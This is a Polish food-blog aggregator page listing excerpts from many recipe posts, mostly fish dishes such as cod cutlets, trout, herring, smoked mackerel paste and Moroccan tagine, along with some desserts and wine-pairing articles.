Sposób na rybę w innej formie - tak by nie była nudna:). Przygotowana w formie kotlecików zaskoczy degustujących.  300g filetów z dorsza  1 jajko 50ml mleka 2 łyżki mąki 3 łyżki posiekanej natki pietruszki  1/2 cebuli  sól, pieprz, papryka słodka olej  1. Rybę i cebulę kroimy w drobną kostkę. Mieszamy z jajkiem, mlekiem, natką i cebulą

Szefowa kuchni
Najpopularniejsze danie Maroko - tażin (tagine, taijne) 183

mnie uderzyły, polecam Wam ten film. No, ale miało być o tagine. To chyba najpopularniejsze danie w Maroko. W zasadzie to nie jest tylko danie, ale sposób przygotowania mięsa, ryby lub warzyw oraz nazwa naczynia.  Naczynie jest gliniane, ma przykrywkę w kształcie stożka, powinno też mieć małą dziurkę w przykrywce, aby para mogła się wydobywać. Gdybyście chcieli kiedyś kupić(...)zdobione, kolorowe - one najczęściej pełnią rolę ozdobną. Jak wygląda to danie? Jak smakuje? Jest bardzo proste. Zazwyczaj są to warzywa, mięso, odrobina bulionu, masa przypraw. Może być z kurczakiem, rybą, wołowiną, wielbłądem. Jedliśmy też kilka razy kofta tagine, czyli taki z mięsnymi kulkami i jajkiem. Roman próbował z wielbłądem i bardzo mu smakowało. Tajemnica smaku to przyprawy i właśnie tagine

Ale Pyszka!
Smażone okonki z koprem 176

okoni mąka do obtoczenia sól, biały pieprz do smaku koperek olej rzepakowy do smażenia (adsbygoogle = window.adsbygoogle || []).push({}); Okonie płukamy w zimnej wodzie , lekko osuszamy papierowym ręcznikiem. Do środka , każdej ryby wkładamy po kilka gałązek kopru , solimy , pieprzymy do smaku . Obtaczamy każdego okonia w mące . Na koniec smażymy na rozgrzanym , dość głębokim oleju , do momentu , aż staną się złociste i mocno

Ogrodnik w podróży
Młode ziemniaki po skandynawsku ,gotowane w białym sosie 160

serii ” Encyklopedia sztuki kulinarnej ” część 48 Kuchnia Skandynawska . Na początku byłam dość sceptyczna , ale moje dzieci koniecznie chciały spróbować czegoś z kuchni Skandynawii . Jednakże , że za rybami ,nie przepadają jakoś szczególnie , to zdecydowaliśmy ,że robimy ziemniaki Bo jednak jak by nie patrzeć, kuchnia ta oparta jest w dużej mierze na rybach , dobrze ,że też na ziemniakach Składniki

Ogrodnik w podróży
poke bowl – hawajskie przysmaki ( z kurczakiem) 430

miejsca stała się jednym z najbardziej popularnych “ nie słodkich ” wpisów na blogu. Dzięki! A poprzednie poke znajdziecie TUTAJ. Wiem, że wielu z Was nie podchodzi opcja z surową rybą, ale spoko jestem z wami, damy radę. Dlatego dzisiaj propozycja dla tych którzy nie chcą surowej ryby, nie mogą, ale po prostu mają ochotę na coś innego. Poke bowl ze SCHABOWYM

PaleoLife
Tradycyjna kuchnia na Kaszubach 145

zdecydowanie wodny obszar – zarówno jeżeli chodzi o morze, rzeki czy jeziora. Nie będzie więc chyba dla nikogo zaskoczeniem, że na kaszubskich stołach dominują dania przygotowywane z lokalnych ryb. Wśród tradycyjnych regionalnych potraw z jakich słyną Kaszuby z całą pewnością należy wymienić znakomitą zupę rybną, która uznanie znalazła wśród jury już na niejednym konkursie. Tradycyjne kaszubskie dania Wybierając się(...)jego wypieku używa się mąki połączonej z drożdżami jajkami oraz cukrem. Są przepyszne i bardzo sycące. Doskonale smakują z filiżanką gorącej kawy. Jako że Kaszuby to region pełen ryb, warto wspomnieć również o tradycyjnej miejscowej przystawce jaką jest śledzik po kaszubsku. Od lat receptura jego przygotowywania pozostaje niezmieniona. Wystarczy trochę śledzi, sos pomidorowy, który przygotować można na bazie ketchupu

Kulinarnyblog.pl - wiesz jak gotować!
Pasta z wędzonej makreli 147

Pasta z ryby to jedna z moich ulubionych past. Tym razem wybrałam wędzoną makrelę bo wyglądała nadzwyczaj świeżo i pysznie. Zaraz powstała z niej przepyszna pasta na którą serdecznie zapraszam. Pasta do chleba z wędzonej makreli. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Co dziś na obiad? Zapiekanka z łososiem i makaronem [wideo] 110

Uwielbiam łososia i mogłabym go jeść częściej, gdyby nie to, że mój narzeczony nie przepada za rybami i trzeba iść na kompromis albo gotować dwa obiady. Zapiekanka z łososiem i makaronem z dodatkiem porów to idealna propozycja na obiad i kolację na ciepło. Możesz też zaskoczyć swoich znajomych czymś nowym na imprezie. Łososia najbardziej lubię w towarzystwie makaronów, do których(...)zapiekankę z łososiem i makaronem Składniki: 250g. makaronu farfalle (kokardki) łosoś por 200g. śmietanki 30% 125g. mascarpone ser tarty do posypania Przyprawy: sól, pieprz cytrynowy, pietruszka, opcjonalnie: przyprawa do ryb Przygotowanie: Ugotuj makaron al dente. Pokrój por w kostkę. Usuń skórkę z łososia i pokój go w kostki. Przygotuj sos: wymieszaj śmietankę 30% z mascarpone dokładnie, aby nie było grudek

Rozdomowiona
Sałatka z łososiem i warzywami 136

Dzień dobry moi drodzy. Dzisiaj trochę odetchniemy w końcu od słodkich deserów i zaproponuję Wam pożywne i zdrowe śniadanie bądź kolację. Łosoś jest zaliczany do gatunku ryb tłustych i rzadko kojarzony jest ze zdrowym odżywianiem, fit i odchudzaniem. A to wielki błąd! Tak samo, jak makrela wskazana jest na diecie zbilansowanej, ze względu na swoje bogate  „ wyposażenie". Zawiera selen(...)bardzo nie biorę jej pod uwagę, szczególnie że biorą wszystko do jednego worka. Co prawda, nie mówię, że to totalna głupota, bo trochę racji mają, jeśli chodzi o hodowlane ryby, ale nikt przecież nie je codziennie po 5 kg, żeby to w jakiś bardzo szkodliwy sposób miało wpłynąć na zdrowie. Dla przypomnienia problemu popatrzcie jaka różnica jest między dzikim

Zdrowie i pysznie na talerzu
Pstrąg na weekendowy obiad 103

Ryby są pyszne i zdrowe. Chyba nie muszę do tego nikogo przekonywać, a tego kogo muszę zachęcam do odtworzenia przepisu. A więcej przepisów na ryby na pewno pojawi się w najbliższym czasie. Składniki na 2 porcje: Pstrąg: 2 pstrągi patroszone 1 cytryna 20 g masła 2 ząbki czosnku 1 cebula 2 kromki chleba żytniego razowego Warzywa: 3 łodygi selera naciowego

Katarzyna Skórska - dietetyk kliniczny
Domowa Pavlova, czyli jak wykorzystać syfon do bitej śmietany 181

Beza z bitą śmietaną, czyli klasyczna Pavlova   Pavlova to klasyczny deser, który swoją nazwę zawdzięcza nazwisku słynnej rosyjskiej primabaleriny Anny Pawłowej. Jednak wbrew pozorom ten

Korniszonki
Truskawkowe Kinder Country z polewą z Nutelli dla dzieci 181

Kinder Country z truskawkami Proponuję lekką odmianę pysznego ciasta bez pieczenia tzw. Kinder Country. Ten cudowny deser postanowiłam wzbogacić truskawkami i odjąć mu nieco kalorii. W

Korniszonki
Idealny przepis na romantyczną kolację 126

przygotowania puree. Ziemniaki obierz, zalej zimną wodą i posól. Gotuj 20-30 minut w zależności od gatunku, w tym czasie przygotuj sos i rybę.   Na małej patelni rozgrzej oliwę. Dodaj lekko posolone krewetki, podsmaż z dwóch stron do uzyskania złotego koloru. Wsyp czosnek pokrojony w plastry, smaż na średnim(...)cytryny, szafran. Kiedy wszystko się połączy i zagotuje wsyp posiekaną natkę pietruszki.   Sos odstaw w ciepłe miejsce lub podgrzej przed samym podaniem.   Rybę wyjmij z lodówki godzinę przed smażeniem, dopraw obficie solą. Na patelni rozgrzej olej. Dorsza smaż na mocnym ogniu, po 2 minuty z każdej strony. Ugotowane ziemniaki

kuron.com.pl
Pstrągi z cytrynowym farszem z młodymi ziemniakami i szparagami 145

śpiewem ptaków czy takie tam. Ja odpowiem, że z młodymi ziemniakami, SZPARAGAMI (moja miłość, jem tonami) czy koprem. Wiosna sprzyja daniom niewymagającym i lekkim. Łapcie. Ps. Pamiętajcie, że ryba ma policzki! To najmniejsza, ale i najdelikatniejsza część ryby, ładnie oddzielą się po podważeniu nożem. Składniki: -  2 pstrągi tęczowe - pół pęczka szparagów - małe, mode ziemniaki  - cytryna - cebula - 3 ząbki

Cook&Love
Pieczone zielone szparagi ze stekami z tuńczyka. Obiad w 20 minut! 127

syropem z agawy, oprósz solą, na szparagi połóż steki z tuńczyka, skrop oliwą. W naczyniu ułóż pomidorki i pokrojoną w ćwiartki szalotkę. Skrop oliwą. Pieczemy do momentu kiedy ryba będzie dobra a pomidorki pęknie im skórka. U mnie 175 stopni C czas około 18 minut. Ale każdy piekarnik piecze inaczej. Pamiętaj też, że czas pieczenia dostosuj do grubości steków, moje(...)upieczeniu ;-) Pieczone szparagi z tuńczykiem i pomidorkami możesz zjeść jako danie, lub podać np. z kaszą czy ryżem. Ja wybrałam dziki ryż, który idealnie skomponował się z daniem. Do ryby podajemy plaster cytryny. Prościzna! Zrób koniecznie to danie i daj znać. Jeśli masz ochotę wyślij zdjęcie dania na mojego Faceboka - Smykwkuchni. https://www.facebook.com/smykwkuchni

SMYKWKUCHNI
jajka faszerowane rybką w pomidorach... 186

Składniki: jajka 12 sztuk "L", ryba w puszce w pomidorach 1 sztuka, papryka ostra 1/2 łyżeczki, koperek 1/2 pęczka, sos majonezowy chrzanowy - ile potrzeba, szczypiorek,papryka do dekoracji jajka ugotować na twardo, przelać zimną wodą i obrać ze skorupek jajka przekroić na połowę, żółtka usunąć z białka do miski rybę w pomidorach (użyłam szprotki) wyjąć z puszki do żółtek, dodać

W Mojej Kuchni Lubię
Quiche serowy z młodymi szparagami zielonymi 149

Quiche to danie kuchni francuskiej. Robiony jest z kruchego ciasta, które jest jego podstawą oraz nadzienia złożonego głównie z jajek, mleka lub śmietany, sera, mięsa, warzyw lub ryb. Quiche serowy z młodymi szparagami zielonymi Ja quiche robię często. Jest szybki i można do niego włożyć naprawdę wszystko. W okresie letnim mamy mnóstwo warzyw, które możemy użyć. Niekonieczne jest dodawanie(...)quichu mięsa czy ryb, same warzywa też sprawdzają się bardzo dobrze. Quiche można podawać zarówno na ciepło jak i na zimno. Rewelacyjnie sprawdzi się jak przekąska serwowany na przyjęciach. Spokojnie możemy go podać naszym gościom na grilu czy na imieninach Jeśli zdecydujecie się na wypróbowanie tego przepisu, zachęcam Was do dzielenia się zdjęciami w zakładce Komentarz. Zapraszam także do śledzenia

mecooks
Food & wine pairing no co dzień – zasady dobierania wina do dań 115

już dobra okazja, żeby się tak pobawić. Kiedyś zasady łączenia wina z jedzeniem były bardziej sztywne. Był nawet wierszyk mnemotechniczny, który miał pomóc zapamiętać, co się z czym podawało: Ryby, drób i cielęcina lubią tylko białe wina. Zaś pod sarny, woły, wieprze jest czerwone wino lepsze. Deser, frukta i łakotki lubią tylko wina słodkie. A szampana, wie i kiep, Można(...)jeśli tak jak ja lubi się najbardziej lekkie wina czerwone i pije się do prawie każdego posiłku z winem. Pino noir jest pyszne z pieczonymi warzywami, pieczonym drobiem czy rybami i daniami, gdzie mięso połączono z owocami. Wine pairing to przecież wizja łączenia jedzenia z winem, żeby wydobyć “coś” jeszcze. Ma być nam przyjemnie. W łączeniu potraw jest też trochę

Ugotowane pozamiatane
Gotujemy wywar rybny w szybkowarze 153

też owoców morza. Po wyklarowaniu można go użyć do przygotowania fantastycznej galarety rybnej. Inne wywary mięsne, drobiowe i warzywne znajdziesz w dziale Wywary . Wywar rybny. Składniki 800 g ryby - kręgosłupy z kawałkami mięsa, z płetwami, ja użyłam 3 z sandacza i 1 z łososia 1 cebula, obierz i pokrój w małą kostkę 1 marchew, obierz i pokrój(...)tutaj . rozgrzej w szybkowarze masło, dodaj cebulę i podsmażaj na średniej mocy palnika ok. 3 min dodaj pozostałe warzywa, całość podsmażaj jeszcze parę minut do warzyw dodaj kawałki ryby i całość chwilę podsmażaj co jakiś czas mieszając dolej wino całość zamieszaj od czasu do czasu i poczekaj, aż alkohol ulotni się całkowicie i nie będzie w ogóle czuć jego

Szybko Szybkowar
smażony karp w zalewie octowej 147

ilość ości jakoś nie poszły tak szybko jak pozostałe jego części. Wymyśliłam sobie, że w końcu zrobię go w zalewie. Rzecz banalna w wykonaniu. Coś akurat dla smakoszy ryb. Jak smażę karpia zazwyczaj obtaczam go w mące i jajku. Teraz też zrobiłam tak samo. Niektórzy używają tylko samej mąki, dlaczego nie. W sumie to rzecz smaku w tym przypadku(...)Karp przeszedł pięknie smakiem zalewy. Ta porcja zalewy wystarczyła mi na 1 słoik 0,9 l i 1 słoik 0,5 l. Taką przekąskę można przygotować z każdego rodzaju ryby. Ważne by była to tuszka, oczywiście świeża ewentualnie mrożona. Fajna zakąska na biesiady tak od siebie dodam :D Smacznego

Pieprzyć z Fantazją
Zupa szczawiowa - klasyka kuchni polskiej 134

Zupa szczawiowa - wiosenny przysmak kuchni polskiej Zupa szczawiowa to polski przysmak, który ze świeżego szczawiu można przygotować tylko wiosną! Wtedy listki mają najwięcej kwaśnego smaku, są

Korniszonki
Kurczak w marynacie teriyaki 158

marynacie teriyaki może być podawany z ryżem, makaronem ryżowym lub z warzywami. Można też, zamiast w marynacie,  przygotować kurczaka w sosie teriyaki. Marynata teriyaki pasuje do krewetek, ryb i wieprzowiny, zwłaszcza do żeberek i karkówki pieczonej na grillu. Wyśmienita jest też wołowina teriyaki. Na blogu znajdziecie uproszczony przepis na marynata teriyaki  - do drobiu, mięsa i ryb , dziś jednak

Kulinaria - potrawy z różnych stron świata
Kuchnia zero waste, czyli jak nadać resztkom drugie życie i nie wyrzucać jedzenia 144

warzywnej lub jajecznej 4. Ugotowany makaron Zapiekanka – podobnie jak w przypadku kaszy/ryżu ;) Sałatka makaronowa – tutaj nieskończone możliwości. U mnie ostatnio króluje sałatka makaronowa ze śledziem <3 5. Ryba (upieczona/z pary) Pulpety rybne – na przykład takie jak te z mojego przepisu na resztkowe  pulpety z białej ryby 6. Resztki jogurtów/innych przetworów mlecznych Idealnie sprawdzą się w koktajlach

HealthyCreations
Omlet z tuńczykiem i jarmużem 160

jestem w stanie zjeść sama takiego omletu, chociaż jest bardzo dobry. Dodałam do niego fajnego tuńczyka w kawałkach w sosie własnym Princes . Bardzo lubię jak są duże kawałki tej ryby. Tuńczyk  Princes jest wysokiej jakości rybą. Można go używać do dań na ciepło i na zimno. #MasterTuńczyk   5 jaj 1 puszka tuńczyka w kawałkach  Princes 5 pomidorów

wesoła kuchnia
American cookies, czyli amerykańskie ciasteczka z kawałkami czekolady 177

American cookies, czyli amerykańskie ciasteczka z kawałkami czekolady Amerykańskie ciasteczka są naprawdę pyszne! Chrupiące na brzegach i miękkie oraz lekko ciągnące w środku i oczywiście z

Korniszonki
Przepisy na grilla! Dania z rusztu, sałatki i dodatki do grilla! 409

Grillowe menu! Mięsa, ryby i sałatki oraz dodatki do grilla! Najlepsze przepisy na dania z rusztu oraz sałatki i dodatki do potraw z grilla. Sezon na imprezy na świeżym powietrzu rozpoczęty! W dzisiejszym wpisie podsyłam Wam pomysły i inspiracje na pyszne grillowane mięsa, ryby, sery i warzywa oraz sosy, sałatki i inne dodatki do potraw z grilla. Zapraszam Przy każdej

Blog z Apetytem
Pasta serowa z pieczonymi warzywami. Idealna na śniadanie lub grilla 211

Pasta z twarożku i pieczonych warzyw Ta pasta to świetna propozycja dla  wszystkich miłośników twarogów i warzywa. Do jej przygotowania można wykorzystać wszelkie warzywa pieczona

Korniszonki
Grillowana pierś z indyka z salsą jabłkową 159

ciepło, jak i na zimno, tak jak nasza dzisiejsza salsa. Duszone mięso wieprzowe z odrobiną białego wina i jabłek smakuje wybornie. Jabłka Grójeckie nie powstydzą się także towarzystwa zdrowych ryb, możemy je pokroić w plastry i zapiekać z rybą w śmietanowy sosie. Nie sposób oczywiście zapomnieć o przepysznych jabłkowych przetworach. Co roku zamykam w słoikach prażone jabłka z przyprawami korzennymi

Kulinarne przygody Gatity
Dietetyczny sos czosnkowy do grilla 243

Grillowanie to nie tylko pyszne, aromatyczne potrawy pieczone na rozgrzanym ruszcie, ale również wszelkiego rodzaju dodatki, który urozmaicają smak naszych potraw. Jednym z najbardziej popularnych dodatków

Kulinarnyblog.pl - wiesz jak gotować!
Łosoś pod pierzynką śmietanowo-chrzanową podany z pieczonymi ziemniakami i smażonymi szparagami 112

części i przyprawić solą oraz chilli. Polać odrobiną oleju i dokładnie wymieszać. Ziemniaki przełożyć do naczynia żaroodpornego i piec pod przykryciem około 25 minut w 210ºC. W międzyczasie przygotować rybę. Filet z łososia umyć, osuszyć, przełożyć na małą blaszkę do pieczenia i delikatnie przekroić na 2 części. Rybę przyprawić solą oraz pieprzem, skropić odrobiną soku z cytryny i posypać posiekanym

Ugotować
Makaron ryżowy z łososiem 155

Wielu z Was to danie – makaron ryżowy z łososiem może wydać się dziwne, ze względu na nietypowe połączenie składników. Większości makaron ryżowy kojarzy się z

Kulinarnyblog.pl - wiesz jak gotować!
Kanapka z sałatką z tuńczyka 211

tuńczyka…Wczoraj piekłam kajzerki. Świeża kajzerka wypełniona po brzegi pyszną sałatką z tuńczyka jest nie do pokonania. Sałatka z tuńczyka pojawia się u mnie w miarę często. Lubię ryby i lubię tuńczyka ale najbardziej w sosie lub sałatce majonezowej. Sałatka z tuńczyka to przepis na tradycyjną sałatkę z rybą, do której dodaję jajka, ogórek, zioła i majonez. Jadam sałatki

codojedzenia
OPTIMA CARDIO PLUS POTAS - STREETCOM 80

wyobrażam sobie zjeść kanapki bez masła. Teraz dzięki OPTIMA CARDIO POTAS+ mogę bez wyrzutów sumienia zjeść pyszne śniadanie. Margaryna idealnie nadaje się do zrobienia jajecznicy czy usmażenia ryby. Dzisiaj jest post więc rano przed pracą usmażyłam na OPTIMA CARDIO POTAS+ rybę. Zapach jaki unosił się w kuchni był wspaniały Rybka, masełko i ziemniaki... Margaryna zawiera sterole roślinne, które pozytywnie wpływają

Kuchnia w oparach
Dorsz w cieście francuskim 154

Małe, chrupiące pakieciki z ciasta francuskiego a w środku co? soczysty kawałek ryby, pieczona papryka i listki szpinaku. Połączenie wyszło znakomite i warto takie pakieciki sobie zafundować, polecam. Dorsz w cieście francuskim. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Ciecierzyca w pomidorach, na bazie soffritto. I o smrodzie, czyli niedogodnościach recyklingu... 126

mieszany recykling już nie! Ha! Rozgrzebałam te wszystkie butelki, paczki, słoiki i pudełka - smród niemiłosierny unosił się znad małej, niepozornej i tylko z grubsza wypłukanej puszeczki po tuńczyku... Ano: ryba + temperatura mocno ciepła pokojowa = nic dobrego! Wnioski z ćwiczenia wyciagnęłam, a jakże: puszki po rybach wszelakich szoruję goraca woda z płynem do mycia naczyń przed podróża do kosza

Lejdi of the house
Cukinia jako przystawka na zimno 231

Cukinia odpowiednio przygotowana jest pyszna nie tylko na ciepło, ale i na zimno. Uwielbiam ją w wersji na zimno, która jest dodatkiem praktycznie do wszystkiego :mięsa,  ryby, mozzarelli, żółtych serów czy wędliny. Oczywiście trzeba ją odpowiednio przygotować i podać z sosikiem 😋😋😋 (adsbygoogle = window.adsbygoogle || []).push({}); SKŁADNIKI 2 cukinie ząbek czosnku 1 łyżkę soku z cytryny 1 łyżkę octu 3 łyżki(...)poszatkowanej natki pietruszki. (adsbygoogle = window.adsbygoogle || []).push({}); Tak przygotowanym sosem polać jeszcze gorące kawałki cukini ułożone na półmisku. Spożywać na zimno jako przystawkę lub zakąskę do mięsa,  ryby, mozzarelli, żółtych serów czy wędliny. Polecam jako dodatek do  Rolady z mięsa mielonego  lub   hamburgerów z mięsa drobiowego SMACZNEGO

zielonacukinka
Złoty tort pomarańczowo-cytrynowy 192

Tort pomarańczowo-cytrynowy Biszkopt pomarańczowy (mała tortownica) 5 jajek 5 łyżek mąki pszennej (może być tortowa) 2 łyżki mąki ziemniaczanej 4 łyżki cukru pudru łyżka skórki

Korniszonki
Sandacz – zdrowy i pyszny król Bałtyku 87

Sandacz zdobywa coraz większą popularność na polskich stołach. Nic dziwnego – mięso tej słodkowodnej ryby żyjącej zarówno w morzach, jak i jeziorach, jest wyjątkowo smaczne. Co warto wiedzieć o sandaczu i jak można go przyrządzać? Smukły i pręgowany Sandacz to ryba żyjąca przede wszystkich w jeziorach i rzekach; preferuje duże, żyzne zbiorniki wodne i mętne […] Artykuł Sandacz – zdrowy i pyszny

PysiaGotuje.pl
Pysznie w firmie! Podaruj wyjątkowy upominek partnerom lub współpracownikom! 163

Jak się okazuje reklama i słodycze to idealne połączenie. Na rynku obecnych jest wiele firm, które oferują reklamowe słodkości, jednak warto zastanowić się, którą ofertę wybrać

Korniszonki
Sałatka z selerem naciowym, jajkiem i wędzonym pstrągiem 146

proponuję wędzonego pstrąga i jajka z kruchą sałatą rzymską. Sałatka idealnie pasuje do pysznych wędlin, mięs i pasztetów. W ramach wspólnego gotowania pod hasłem "Trzy po trzy - sałata, wędzona ryba, jajko" wędzoną rybę z jajkiem w koszulce na szpinaku przygotowała Marta . Składniki: 1 mała sałata rzymska, posiekana opakowanie wędzonego fileta z pstrąga 4 jajka ugotowane na twardo

Czerwień i błękit
Potaje de Vigilia - andaluzyjska zupa wielkopostna z ciecierzycą, dorszem i szpinakiem 131

postną zupą wywodzącą się z Andaluzji. Tradycyjnie zupę tę jada się w trakcie Wielkiego Postu. Bardzo prosta w wykonaniu,a do tego smaczna i pożywna. Gotowane warzywa strączkowe z rybą i szpinakiem (warzywo sezonowe). Niektórzy urozmaicają ją pokroijoną w kawałki marchewką i/lub ziemniakiem, a osoby nieprzestrzegające postu w okresie poprzedzającym Wielkanoc - przygotowują także wersję z chorizo zamiast ryby.  Składniki

Zielona Kuchnia
Paprykarz domowy 263

SKŁADNIKI  -cztery ryby wędzone dwie makrele i dwa srebrzyki -200 g ryżu kolorowy RISANA -3 cebule -2 ząbki czosnku -1 papryczka chilli -pół papryki czerwonej słodkiej -pół papryki zielonej słodkiej -pół papryki żółtej słodkiej -2 marchwie -2 pieczarki -1pietruszka -150 ml wody -koncentrat pomidorowy 160 ml -przecier pomidorowy 500 ml -olej z pestek winogron PRZYPRAWY -sól do smaku(...)chilli nitki 3 g do całości -sos sojowy 30 ml -papryka wędzona słodka 1,5 g/kg -papryka słodka 1,5 g/kg -papryka ostra 1 g/kg WYKONANIE  Obrać dokładnie rybę i rozdrobnić ją w rękach. Ryż ugotować do miękkości w osolonej wodzie i ostudzić. Następnie cebulę i czosnek pokroić w drobną kostkę i zeszklić na oleju, dodać startą marchew

Domowe wyroby.Coś do chleba i talerza.
Najłatwiejsza babka cytrynowa 2175

Wielkanoc to czas, kiedy na stołach i w koszyczkach królują babki. Do wyboru mamy drożdżowe, piaskowe i ucierane. Mam dla was przepis na prostą babkę cytrynową

Korniszonki
Przepis na lunch boxa do pracy! Pieczony indyk z sałatką na słodko. 143

obiadów, które mogłabyś/ byś zabrać ze sobą. Dlatego warto tak rozplanować posiłki aby np. wykorzystać kurczaka czy indyka, który został  z obiadu niedzielnego. Zaplanować kolację na ciepło np. rybę na parze i przygotować porcję więcej, którą możecie potem zabrać ze sobą do pracy ( i od razu mówię, jeśli masz świeżą rybę to spokojnie ona pachnie, a po usmażeniu

SMYKWKUCHNI
Wielkanocny food wine pairing 153

przednówku te produkty cieszyły jeszcze bardziej. Były upragnione, bo wcześniej po prostu ich nie było. Kuchnia postna była kreatywna. Umożliwiała stworzenie dań wykwintnych z tego co było dozwolone: ryb, warzyw, octu, miodu i chrzanu. Kwitła też kreatywna dietetyka, która z ptactwa wodnego i bobrzych ogonów robiła ryby, czyli produkty dozwolone. Ludziom tak bardzo chciało się mięsa czy jaj, że uciekali

Ugotowane pozamiatane
Śledzie na cztery sposoby. 139

herbatę przez 5 minut. Studzimy. Przelewamy do miski. Dodajemy listki laurowe, ziarna przypraw i ocet.  Śledzie wkładamy do marynaty. Mieszamy. Całość umieszczamy w słoiku typu weck. Pamiętamy, że ryby muszą być całkowicie przykryte zalewą. Wierzch polewamy dwiema łyżkami oliwy. Słoik zamykamy i odstawiamy do lodówki na minimum 3 dni. Należy spożyć do 2 tygodni. 2) Śledzie w sosie pomidorowym(...)Jest to musztarda na bazie Dijon, o lekko pikantnym smaku. Ja używam z firmy Vilnux. Sposób przygotowania: Śledzie moczymy w wodzie ok. 3 godzin. Wszystkie składniki sosu dokładnie mieszamy. Ryby kroimy na mniejsze kawałki i umieszczamy w marynacie. Całość przekładamy do słoika typu weck. Zamykamy i odstawiamy do lodówki na minimum 3 dni. Należy spożyć do 2 tygodni

DominikaDolci
Twarogowa pasta z makrelą 124

Pyszna pasta z twarogiem i wędzoną makrelą jest naszą ulubioną opcją na śniadanie lub kolacje. Jeśli lubicie ryby to ta pasta przypadnie wam do gustu. Nie sądziłam że ryba i twaróg mogą być tak pyszne w połączeniu ze sobą. Polecam wam zrobić sobie taką fit pastę na kanapki. Składniki: 1 makrela wędzona ok. 200 g 250 g twarogu półtłustego

Dominacja smaku
Pasta z pieczonej papryki i czerwonej soczewicy 129

Cztery razy w tygodniu jestem weganką, dwa razy wegetarianką w pozostałe dni jem ryby, czasem indyka i eko kurczaka. Przez dwa lata nie jadłam mięsa. Ale ryby ... choć w tym przepisie nie ma, bardzo lubię! 1 szklanka czerwona soczewica 1 ok. łyżeczka sól 2 szt. papryki czerwonej pestki słonecznika 1 łyżka rozmaryn   - kilka igiełek 1/2 łyżki papryka ostra Papryki

AZgotuj!
Dorsz pieczony z karmelizowaną marchewką 173

Delikatna i smaczna ryba na niedzielny obiad. Właśnie była dziś u mnie na na stole, udała się w 100%.  Składniki: Filet z dorsza ½ kg Miód prawdziwy 3 łyżki Olej 3 łyżki Masło 3 łyżki Wino białe wytrawne 3 łyżki Marchewka 1 szt. Sól i pieprz do smaku Tymianek do smaku Cytryna 1 szt. Masło do formy Wykonanie: Marchewkę obrać(...)smaku, następnie wymieszać z marchewką. Filety opłukać, osuszyć na ręczniku papierowym, posypać z obu stron solą i pieprzem i odłożyć na chwilę. Naczynie do zapiekania posmarować masłem, ułożyć rybę, skropić winem i roztopionym masłem. Obłożyć przygotowaną marchewką. Piec w temperaturze 200 stopni około 20 minut. Po upieczeniu skropić sokiem z cytryny według uznania

Tradycyjna Kuchnia
Golonka zapiekana w piwie z miodem 148

Golonka pieczona w piwie z miodem wspaniale smakuje z chrzanem i musztardą Składniki potrzebne do przygotowania golonek 3-4 golonki wieprzowe Bulion do gotowania golonek 3

Korniszonki
5 pomysłów na niedzielny obiad 340

Pięć różnych pomysłów na niedzielny obiad: od bardzo prostych, do zrobienia w 15 minut, po bardziej czasochłonne, którym trzeba poświęcić więcej uwagi. Jest pieczony drób, ryba, stek i owoce morza. Wszystkie pyszne, wielokrotnie przetestowane. Gorąco polecamy! Co by tu zrobić na obiad? Pytanie, które w każdy weekend zadają sobie miliony niedzielnych kucharzy. Najpierw myśl o niedzielnym obiedzie jest przyjemna(...)pełne wykwintnych smaków będzie gotowe w 30 minut. Ale te smaki będziecie pamiętali dużo dłużej. Czytaj dalej FAJNA WYŻERKA: Fish and chips z piekarnika Pieczona wersja angielskiego klasyka. Chrupiąca ryba bez smażenia. Zdrowe, smaczne, bez tłuszczu i bez wysiłku. Czytaj dalej ODROBINA LUKSUSU: Spaghetti z krewetkami w maślanym sosie Najprostszy i najsmaczniejszy przepis na pastę z owocami morza! Do zrobienia

Niedzielny kucharz
Grzane piwo z żółtkiem - idealne na przeziębienie 164

Grzane piwo z jajkami - rozgrzewająca bomba Składniki na piwnego grzańca z żółtkami 500 ml jasnego piwa 2 żółtka 1 duża łyżka drobnego cukru 1 łyżka miodu

Korniszonki
Alkoetykieta – cz. I 104

mianowicie, będzie on traktował o szeroko pojętych zasadach panujących przy stole. I tak oto dziś rozpoczniemy od… doboru rodzaju alkoholu do potrawy oraz temperatury serwowania. Znacie taki wierszyk? Ryby, drób i cielęcina lubią tylko białe wina. Zaś pod sarny, woły, wieprze jest czerwone wino lepsze. Deser, fructa i łakotki lubią tylko wina słodkie. A szampana, wie i kiep, Można(...)rodzajach oraz temperaturach serwowania. Przystawki – wina wytrawne, wytrawne wermuty, czysta wódka Kawior – szampan lub… bardzo dobrze zmrożona, wódka jakościowa Mięsa – i tutaj mamy mały podział: do drobiu, ryb oraz do cielęciny serwujemy wina białe; do dziczyzny z kolei, wołowiny, schabów pieczonych itp. lepsze będzie wino czerwone. Potrawy z grzybów – wina czerwone, wytrawne (ostatnio jadłam rewelacyjną pastę z borowikami

Kate's Kitchen
Rozgrzewająca zupa z dyni z imbirem, kardamonem i gałką muszkatołową 155

Rozgrzewająca zupa z dyni z korzennymi przyprawami i chili Kremowa zupa z dyni, doprawiona rozgrzewającymi przyprawami korzennymi, to idealne rozwiązanie dla wszystkich, którzy marzną zimą. Korzenne

Korniszonki
FIT naleśniki waniliowe z sałatką owocową 272

Naleśniki z sałatką owocową! Pychota Naleśniki to cudowne danie, które można podać dosłownie na 1000 sposobów. Naleśniki można podawać jedynie z sosami, z nadzieniem - słodkim lub

Korniszonki
Wytrawne ciastka francuskie z brokułem, rybą i pieczarkami 180

Brokuła dzielę na różyczki i gotuję na półtwardo w osolonej wodzie. Cebulę kroję w kostkę, a pieczarki w plasterki. Pieczarki razem z cebulą podsmażam 5 minut na oliwie. Rybę kroję na mniejsze kawałki. Odsmażam na oliwie po 3 minuty z każdej strony. 2. Ciasto francuskie kroje na mniejsze prostokąty. Na każdym kawałku ciasta kładę porcję podsmażonych pieczarek, kawałki ryby oraz

Tradycyjna kuchnia Kasi
Jak zrobić obiady na tydzień w jeden dzień – to prostsze niż myślisz 140

